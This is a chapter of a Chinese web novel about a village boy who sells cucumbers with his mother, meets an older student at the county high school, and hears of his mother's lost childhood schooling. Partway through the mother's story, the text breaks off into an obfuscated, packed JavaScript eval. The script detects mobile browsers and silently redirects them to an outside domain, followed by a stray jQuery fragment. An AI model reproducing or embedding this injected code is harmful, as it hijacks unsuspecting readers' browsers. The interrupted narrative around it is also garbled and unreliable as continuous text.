整个暑假，许家宁都跟着陈天英下地、卖菜、砍柴、喂猪。
夏天的太阳毒辣，天还没亮他们就得起，陈天英一边洗菜一边叮嘱许家宁准备好篮子和扁担。
许家宁个子还没长开，走不稳，竹篓一晃，黄瓜滚了一地，他弯腰去捡，没有喊人帮忙。
陈天英站着前面回头看了下他，“小心点，别摔了。”
他们挑着菜，从村里走到镇口集市，一走就是七八里，一双脚泡在破布鞋里，全是水泡。
第一天晚上，许家宁脱下鞋子，发现大拇指的皮都磨破了，陈天英看了一眼，说：“不碍事，明天垫块布。”
第二天，许家宁发现自己的鞋里被缝了一个鞋垫，是陈天英用旧衣角剪的，布边参差不齐，却正好贴合他的脚掌。
他把鞋穿上，一瘸一拐跟在娘身后，上山去砍柴，然后继续跟着娘去集市卖菜。
集市人声嘈杂，喇叭音和自行车的铃铛声混在一起。陈天英吆喝菜价，他就跟在一侧接着喊。有时天气闷热，青菜焉了，卖不出去，陈天英就蹲在摊后，背对着人群揉眼睛，说是被烟熏的。
有一回，他们菜还剩半筐，许家宁看着别人卖完收摊，捡出最好的几根黄瓜，跑到镇中门口，冲着下课的学生喊：“新鲜黄瓜，三分钱一根，吃了清热解毒。”
这间学校是他过几周就要来的重点高中，白墙红瓦，高高的围墙内传出琅琅书声，跟村里的破瓦教室简直不是一个世界。
几个从校门口出来的学生从他面前经过，被他的容貌所吸引，视线停留了一会后马上移开，许家宁抓紧再喊：“三分钱一根，黄瓜脆口清甜，今天现摘的！”
一个戴眼镜的男生停下脚步，掏出几个硬币，“来两根。”
“好。”许家宁把手伸进竹篓，挑了最大最直的两根递过去，作为第一个顾客的福利。
男生接过黄瓜，咬了一口，点头，“确实挺脆。”
他走的时候还留下一句：“你是卖黄瓜的？下学期小心点，教导主任不准校门口摆摊。”
许家宁回道：“我不是摆摊，我是学生。”他顿了顿，补了一句，“今年入学。”
“哦？高一新生？”男生挑眉，重新打量他，“我叫谢礼名，准高三，今天下晚自习。”
“我从城里来的，住校。”他说得有种莫名其妙的优越感。
许家宁手指扣住竹篓的边，语气依旧淡：“高三，要考大学了。”
谢礼名看他一眼，眼神不算傲气，也不是平视，“你刚刚说，你是今年高一的？”
“嗯。”
“也是市里？”
“不是。”许家宁直视对方的眼睛，“村里考进来的。”
谢礼名似笑非笑地“哦”了声，又咬了一口黄瓜，“剩下的我都要了。”
“这黄瓜还真不错，很脆很清甜。”他说着，把吃剩的蒂扔进垃圾桶，背起书包，“开学别太紧张，重点班可不好混。”
“你怎么知道我是重点班？”许家宁问。
谢礼名偏过头看了他一眼，唇角微挑：“我们班主任提过，说今年会有个从村里考进来的新生，成绩拔尖，放弃了去市里读书的机会来了这所学校，模样长得也不差，我猜应该就是你。”
“你知道我的名字？”
“没听老师说，但我猜你叫的名字，八成不难听。”谢礼名抬下巴指了指他的脸，“长这样，如果是个俗名就可惜了。”
许家宁懒得多解释，把篮子里的黄瓜打包给对方，报了个金额，比平时多了几毛钱。
谢礼名接过黄瓜，好奇地问：“所以你叫什么？”
“知道了又怎样？”
“不怎样。”谢礼名故意拖长了音，“下回见面喊得顺口点，村里来的话，该不会真的叫铁柱吧？怪不得老师不说你的名字了。”
许家宁看了他一眼，反问：“这个学校的人，都和你一样吗？”
说完，把竹篓往身侧挪了挪，十分戒备：“欢迎下次光临。”
谢礼名听出了对方的疏离，轻笑一声，走进了灯光下的街口，背影被路灯拉得老长。
许家宁站在原地，手心扣着那几枚还带着余温的硬币，垂着眼，不知在想什么。片刻后，他将硬币收进口袋，提起竹篓，转身隐入人群。
陈天英正蹲在街角边，把剩下的青菜一根一根摆正，听到喊声，一抬头，就看见自家儿子跑得满头是汗。
“卖完了？”
“嗯！”许家宁喘着气，把攥得发热的几枚硬币放进她手心，声音里带着止不住的骄傲，“全卖了！县中门口，喊几嗓子就有人买了！还有人说我黄瓜脆，说很清甜！”
陈天英手指粗糙，全是厚厚的老茧，她捏着那几枚硬币看了一会，抬起手抹了把儿子的汗，开心地笑了。
“家宁真能干。”
“他们好像知道我。”许家宁坐在地上，用毛巾擦了擦汗，“下一次得换个地方卖了，省得麻烦。”
陈天英低头数着手里的硬币，回了一句：“谁认识你？镇上的人？”
“不是。”许家宁看着人群渐散的街口，声音压得很低：“是县中的学生。”
“可能见过你名字吧。”陈天英抬眼看了他一眼，又低下头，把硬币收进布袋，“你不是考上重点班嘛。”
母子俩坐在街边，背靠着一堵刷得半掉皮的墙，一起喝着温水，吃了几口早上烙的饼。
夜风拂过，街灯昏黄，远处集市慢慢收摊，陈天英看着儿子脸上的汗痕，把他脑门上的碎发拨开，露出欣慰的表情。
“明年你再长高点，就能比你爹高。”
许家宁咬着干饼，把水壶往陈天英那边推了推，示意她多喝几口。
他知道，娘嘴上不说，心里其实比谁都盼着他长大、走出去，最好是走得越远越好，只要别像她一样，困在这一亩三分地里，一辈子抬不起头。
陈天英仰头喝了口水，忽然笑了一下，“到时候你别像你爹似的，开口就是‘女娃子读书没用’那一套，我听得都想扇他。”
“你姐和你哥要不是自己放弃读书，我肯定会咬咬牙助他们读书的。”
“我不学他。”许家宁抬起头，声音很坚定，“娘，我想学你。”
陈天英怔了一下，低头看他。
“你哪儿学我了？”
“娘，你很聪明，也很能干，是你撑起了我的半边天。”
许家宁还在啃饼，陈天英望着街对面那座县中学楼的影子，沉默了很久。
“家宁，你知道吗？”她开口，像是跟自己对话，“我小时候读书很聪明的。”
“那年，家里还算宽裕，爹爹教我认了不少字，冬天的时候我还缝了个布书包，一路小跑去上课。”陈天英说着说着笑了下，眼底却没光，“结果刚上三年级，山那边打仗，烧了咱家，地也没了，爹也没了，娘也上吊自杀了。”
“只剩下我和弟弟，没有人再提读书二字，弟弟后来也饿死了。”
陈天英说这话时，脸色平静得可怕。
“我当时只有十一岁。”她低头扯了扯裤脚上的破线，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198069|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“捡野菜，偷人家地里的番薯，冬天就啃树皮，没死，也真是命大。”
“后来实在饿得不行了，我就遇到了你爹，他当时是个木头匠。”
“他给我一碗饭吃，我就跟了他。”
“那时候哪还敢挑，饿都饿死了。”陈天英笑了笑，眼角的细纹随着风晃了晃，“我不怕苦，就怕一辈子都翻不过来。”
她低下头，看了许家宁一眼，继续回忆：“我当年小学三年级拿着炭笔写字，写得比你哥那鬼画符还好看。”
陈天英低头看着自己满是老茧的手，指节处还有薄薄一层土没洗干净，时间过得太久了，自己已经不知道怎么拿笔写字了。
许家宁从没听陈天英说过这些，他问：“娘，那你还想读吗？”
陈天英愣了一下，然后笑笑，摸了摸许家宁的头：“娘现在不想了，娘想看你读。”
“你读下去，就当是，把咱俩的那份都读了。”
许家宁抬头盯着陈天英的脸，他觉得那不是释怀的笑容，是苦笑，是被生活逼的无处可逃的苦笑。
他的唇抿得很直，只在眼底留下一点暗色的涌动。
母子俩一路没说话，挑着空了的菜筐，顺着夜路往村里走。四下寂静，只有虫子在草丛里鸣叫的声音。
回到家，屋里黑漆漆的。陈天英摸黑找出火柴，点了一根，照亮了老屋斑驳的墙壁。
许国强和许成涛都已经睡了，许家宁蹑手蹑脚地脱了鞋，躺上床，摸了摸枕头底下那张薄薄的录取通知书，感受到它的存在后，才肯抱着被子安心睡去。
第二天天还没亮，陈天英就起了。她把锅里的稀饭热上，弯腰扎好裤脚，再把许家宁拍醒：“起来了，今天去南边集市，那边人多，先把黄瓜摘了。”
许家宁睁开眼，揉了揉眉心，嗓音带着清晨的低哑：“娘，现在几点了？”
“快四点半了，咱得赶早市，晚了就卖不出去价。”
陈天英一边说，一边把锅里热着的稀饭盛出来，舀了两碗，撒了点咸菜末。
屋外天还黑着，远处鸡都没叫，屋里传来许国强和许成涛的呼噜声。
母子俩坐在小板凳上，安静地喝着稀饭。
喝完后，陈天英擦了擦嘴，起身提着竹篮，“快点，趁露水重，黄瓜水嫩。”
许家宁应了一声，掀开门帘，一股早晨的潮气扑面而来。他深吸了一口气，抬头看了一眼天边那一线微亮的鱼肚白，心里想着：
等以后，他一定要让娘睡个懒觉。
到了地头，陈天英弯腰进了黄瓜地里，手脚利索地翻着藤子，挑最顺眼的摘。
“家宁，这根。”
许家宁应一声，赶紧伸手接过黄瓜，一根根放进竹篮里，小心翼翼地摆着，生怕压坏。
“娘。”
“嗯？”
“等我考上大学了，你一个人扛得动这些吗？要不和我一起搬进城里吧。”
“咋，还没考呢，心倒挺远。”
陈天英提着菜篮，朝许家宁挥了挥手，“得走了，不然没有好位置了。”
许家宁点了点头，把最后一根黄瓜轻轻放好，双手一提，两人一前一后往镇上走去。
山那头渐渐亮了，天边泛出鱼肚白，远远能看见镇上的屋檐轮廓。
许家宁扛着菜，一步一步往前走，这路他走了无数次，脚下的石子都磨得发亮。可他知道，总有一天，他要沿着这条路走出去。
他一定要走出这村。
不然，这条路，他们母子得走一辈子。